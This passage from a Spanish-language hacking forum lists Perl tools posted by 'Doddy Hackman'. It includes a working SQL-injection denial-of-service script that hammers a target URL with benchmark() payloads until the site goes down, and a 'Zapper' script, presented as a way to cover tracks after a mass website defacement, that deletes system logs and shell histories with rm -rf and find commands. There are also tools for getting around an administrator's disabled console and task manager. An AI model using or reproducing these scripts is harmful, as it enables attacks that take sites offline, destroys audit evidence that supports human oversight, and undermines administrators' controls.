  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  24. unless($code->is_success) {
  25. print "[+] Web Off\n";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.2 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack

[+] Web Off


-- == (C) Doddy Hackman 2011 == --

428  Programación / Scripting / [Perl] Zapper for Linux en: 29 Julio 2010, 23:20 pm
Bueno ,esta herramienta no tiene un nombre chevere pero bueno , con esta herramienta pueden
borrar sus huellas despues de hacer un masivo deface en una pobre web.
Recuerden que primero deben darle permisos y despues ejecutarlo.

Código:
#Zapper
#By Doddy Hackman

@paths = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var
/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");

@comandos  = ('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;');

print "[+] Zapping the logs\n";
for (@paths) {
if (-f $_) { system("rm -rf $_"); }
}
for (@comandos) {system($_);}
print "[+] All the logs are erased\n";

#The end
429  Programación / Scripting / [Perl] Bones X en: 29 Julio 2010, 23:18 pm
Bueno , BonesX es una herramienta que los ayudara en el momento que quieran usar una consola ms dos y
el admin la haya borrado.
Su uso no es muy dificil asi que creo que podran usarla.
Ademas les ofrece informacion de la maquina actual como : IP , SO , nombre de usuario y grupo del usuario.


Código:
#Bones X 
#Author = Doddy Hackman
#Very easy console the using if the admin delete the ms-dos original

use Win32::IPConfig;
use Net::Nslookup;
use Color::Output;
Color::Output::Init;

&datos;

sub datos {
system ("title Bones X");
system ("cls");
$ip = nslookup(qtype => "A", domain => "localhost");
system ("prompt Doddy Hackman@$ip.com:");
$so = $^O;
$login = Win32::LoginName();
$domain = Win32::DomainName();

cprint "\x0313
Program: Bones X
Author : Doddy Hackman
\x0x30";

cprint "\x033

Your IP : $ip
SO : $so
Login : $login
Group : $domain

\n\x033";
}

inicio:;
cprint "\x037";
print "C:\\l33t\\";
print "D00d1>";
$cmd=<STDIN>;
chomp $cmd;
cprint "\n\x037";
if ($cmd eq "exit") {
exit 1;
}
elsif ($cmd eq "cls") {&datos;goto inicio}
else {
cprint "\0035";
print "\n";
system ($cmd);
cprint "\n\n\n";
goto inicio ,
}


430  Programación / Scripting / [Perl] NightVision en: 29 Julio 2010, 23:16 pm
Bueno ,esta herramienta llamada NightVision , les servira para poder ver sus propios puertos , despues tienen un menu el cual
les permitira cerrar el puerto que les venga en gana.
Esta herramienta puede servir cuando el administrador de un cyber (seguro) bloquea el administrador de tareas.

Código:
#Program : NightVision
#Author : Doddy Hackman
#Module neccesary
#ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd

use Win32::Process::List;
use Color::Output;
Color::Output::Init;
use Win32::Process;


&clean;&options;
sub clean {
system 'cls';
system 'title NightVision';
cprint "\x0313";
print "\nNightVision 0.1\nCopyright 2010 Doddy Hackman\nMail:doddy-hackman[at]hotmail[com]\n\n";
cprint "\x0x30\n\n";
my $new = Win32::Process::List->new(); 
my %process = $new->GetProcesses();
chomp %process;
$limit = "";
for my $pid (keys %process) {
if ($pid ne "") {$limit++};
push (@procer,$process{$pid});
push (@pids,$pid);
chomp (@procer,@pids);
}
$limit--;
for my $n(1..$limit) {
cprint "\x037";
print "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
cprint "\x037";
}}

sub options {
cprint "\0035";
print "\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
$t = <STDIN>;
chomp $t;
if ($t eq "a") { &close;} elsif ($t eq "b") {&load;&clean;&options;} elsif ($t eq "c") {exit 1;} else {&load;&clean;&options;}}

sub load { system($0); }

sub close {
print "\n[+] Write the number of the process : ";
$numb = <STDIN>;
chomp $numb;
Win32::Process::KillProcess(@pids[$numb],@procer[$numb]);
print "\n\n[+] OK , Process Closed\n\n";&load;&clean;&options;
}

Páginas: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [43]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines